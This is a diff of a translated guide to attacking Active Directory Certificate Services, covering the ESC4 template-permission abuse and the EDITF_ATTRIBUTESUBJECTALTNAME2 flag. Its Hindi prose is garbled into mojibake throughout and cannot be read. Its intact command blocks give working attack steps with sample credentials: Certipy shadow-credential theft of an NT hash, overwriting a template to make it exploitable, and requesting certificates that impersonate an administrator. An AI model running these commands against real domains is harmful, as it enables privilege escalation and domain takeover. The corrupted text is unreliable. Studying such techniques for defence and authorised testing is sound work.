рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред рдпрд╣ **рд╕рднреА** рдХреЛ рдХрд┐рд╕реА рдХреЗ рд░реВрдк рдореЗрдВ рд╕рднреА рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред ## Vulnerable Certificate Template Access Control - ESC4 @@ -127,11 +127,11 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕** рдкрд░ **рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛** рдЙрди **рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ **AD рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓** рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВред -рдпрджрд┐ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░** рдХреЗ рдкрд╛рд╕ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдХреЛ **рдмрджрд▓рдиреЗ** рдФрд░ **рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ** рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХрд┐рд╕реА рднреА **рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВ, рддреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрджрд┐ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░** рдХреЗ рдкрд╛рд╕ рдПрдХ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдХреЛ **рдмрджрд▓рдиреЗ** рдФрд░ **рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ** рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХрд┐рд╕реА рднреА **рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВ, рддреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -- **Owner:** рд╡рд╕реНрддреБ рдкрд░ рдирд┐рд╣рд┐рдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **Owner:** рд╡рд╕реНрддреБ рдкрд░ рдирд┐рд╣рд┐рдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред - **FullControl:** рд╡рд╕реНрддреБ рдкрд░ рдкреВрд░реНрдг рдЕрдзрд┐рдХрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред - **WriteOwner:** рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЗ рд▓рд┐рдП рд╡рд╕реНрддреБ рдХреЗ рдорд╛рд▓рд┐рдХ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - **WriteDacl:** рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ FullControl рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред @@ -143,13 +143,13 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
-ESC4 рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ ESC1 рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рдПред +ESC4 рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ ESC1 рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рдПред -рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдКрдкрд░ рдХреЗ рдкрде рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ `JOHNPC` рдХреЗ рдкрд╛рд╕ рдпреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `JOHN` рдХреЗ рдкрд╛рд╕ `JOHNPC` рдХреЗ рд▓рд┐рдП рдирдпрд╛ `AddKeyCredentialLink` рдПрдЬ рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдореИрдВрдиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рднреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреАрдбрд╝рд┐рдд рдХреЗ NT рд╣реИрд╢ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Certipy рдХреЗ `shadow auto` рдХрдорд╛рдВрдб рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рд╣реИред +рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдКрдкрд░ рдХреЗ рдкрде рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ `JOHNPC` рдХреЗ рдкрд╛рд╕ рдпреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `JOHN` рдХреЗ рдкрд╛рд╕ `JOHNPC` рдХреЗ рд▓рд┐рдП рдирдпрд╛ `AddKeyCredentialLink` рдПрдЬ рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдореИрдВрдиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рднреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреАрдбрд╝рд┐рдд рдХреЗ NT рд╣реИрд╢ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Certipy рдХреЗ `shadow auto` рдХрдорд╛рдВрдб рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЭрд▓рдХ рд╣реИред ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** рдПрдХ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд░реВрдк рд╕реЗ, Certipy рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдпрд╣ **ESC1 рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рд╣реЛ рдЬрд╛рдПред рд╣рдо **`-save-old` рдкреИрд░рд╛рдореАрдЯрд░** рдХреЛ рднреА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкреБрд░рд╛рдиреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **рд╕рд╣реЗрдЬрдиреЗ** рдХреЗ рд▓рд┐рдП, рдЬреЛ рд╣рдорд╛рд░реЗ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рдж рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред +**Certipy** рдПрдХ рд╣реА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд░реВрдк рд╕реЗ, Certipy рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **ESC1** рдХреЗ рд▓рд┐рдП **рдХрдордЬреЛрд░** рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░реЗрдЧрд╛ред рд╣рдо **`-save-old` рдкреИрд░рд╛рдореАрдЯрд░** рдХреЛ рдкреБрд░рд╛рдиреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд╛рд░реЗ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рдж рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -176,9 +176,9 @@ ACL-рдЖрдзрд╛рд░рд┐рдд рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛ ### Explanation -[**CQure Academy рдкреЛрд╕реНрдЯ**](https://cqureacademy.com/blog/enhanced-key-usage) рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХрд┐рдП рдЧрдП рд╡рд┐рд╖рдп рдореЗрдВ **`EDITF_ATTRIBUTESUBJECTALTNAME2`** рдзреНрд╡рдЬ рдХреЗ рдкреНрд░рднрд╛рд╡реЛрдВ рдкрд░ рднреА рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдЬрдм рдПрдХ рдкреНрд░рдорд╛рдгрди рдкреНрд░рд╛рдзрд┐рдХрд░рдг (CA) рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз** рдХреЗ рд▓рд┐рдП **рд╡рд┐рднрд╡-рдкрд░рд┐рднрд╛рд╖рд┐рдд рдорд╛рдиреЛрдВ** рдХреЛ **рд╡рд┐рд╖рдп рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдо** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Active Directory┬о рд╕реЗ рдирд┐рд░реНрдорд┐рдд рдЕрдиреБрд░реЛрдз рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ рдкреНрд░рд╛рд╡рдзрд╛рди рдПрдХ **рдШреБрд╕рдкреИрдард┐рдП** рдХреЛ **рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдбреЛрдореЗрди **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ **рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдорд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдШреБрд╕рдкреИрдард┐рдП рдХреЛ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ **рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдХреНрд░рд┐рдп рдЗрдХрд╛рдИ** рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред +[**CQure Academy рдкреЛрд╕реНрдЯ**](https://cqureacademy.com/blog/enhanced-key-usage) рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХрд┐рдП рдЧрдП рд╡рд┐рд╖рдп рдореЗрдВ **`EDITF_ATTRIBUTESUBJECTALTNAME2`** рдзреНрд╡рдЬ рдХреЗ рдкреНрд░рднрд╛рд╡реЛрдВ рдкрд░ рднреА рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд░реНрдгрд┐рдд рд╣реИред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдЬрдм рдПрдХ рдкреНрд░рдорд╛рдгрди рдкреНрд░рд╛рдзрд┐рдХрд░рдг (CA) рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз** рдХреЗ рд▓рд┐рдП **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рдорд╛рдиреЛрдВ** рдХреЛ **рд╡рд┐рд╖рдп рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдо** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Active Directory┬о рд╕реЗ рдирд┐рд░реНрдорд┐рдд рдЕрдиреБрд░реЛрдз рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ рдкреНрд░рд╛рд╡рдзрд╛рди рдПрдХ **рдШреБрд╕рдкреИрдард┐рдП** рдХреЛ **рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдбреЛрдореЗрди **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ **рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛** рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдорд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯред рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдШреБрд╕рдкреИрдард┐рдП рдХреЛ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдпрд╛ **рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдХреНрд░рд┐рдп рдЗрдХрд╛рдИ** рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред -**Note**: рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЕрдиреБрд░реЛрдз (CSR) рдореЗрдВ **рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдореЛрдВ** рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП `-attrib "SAN:"` рддрд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `certreq.exe` рдореЗрдВ, рдЬреЛ тАЬрдирд╛рдо рдорд╛рди рдЬреЛрдбрд╝реЗтАЭ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, ESC1 рдореЗрдВ SANs рдХреЗ рд╢реЛрд╖рдг рд░рдгрдиреАрддрд┐ рд╕реЗ рдПрдХ **рд╡рд┐рднрд╛рдЬрди** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣рд╛рдБ, рднреЗрдж **рдХреИрд╕реЗ рдЦрд╛рддрд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**тАФрдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рднреАрддрд░, рди рдХрд┐ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдореЗрдВред +**Note**: рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЕрдиреБрд░реЛрдз (CSR) рдореЗрдВ **рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдореЛрдВ** рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП `certreq.exe` рдореЗрдВ `-attrib "SAN:"` рддрд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдирд╛рдиреЗ рдХреА рд╡рд┐рдзрд┐, ESC1 рдореЗрдВ SANs рдХреЗ рд╢реЛрд╖рдг рд░рдгрдиреАрддрд┐ рд╕реЗ **рд╡рд┐рднрд┐рдиреНрдирддрд╛** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреА рд╣реИред рдпрд╣рд╛рдБ, рднреЗрдж **рдХреИрд╕реЗ рдЦрд╛рддрд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**тАФрдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рднреАрддрд░, рди рдХрд┐ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВред ### Abuse @@ -199,7 +199,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ** рдЕрдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рдордХрдХреНрд╖ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдпрд╕реНрдерд▓ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ: +рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ** рдЕрдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рдордХрдХреНрд╖ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЛ рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдпрд╕реНрдерд▓ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash certutil -config "CA_HOST\CA_NAME" -setreg 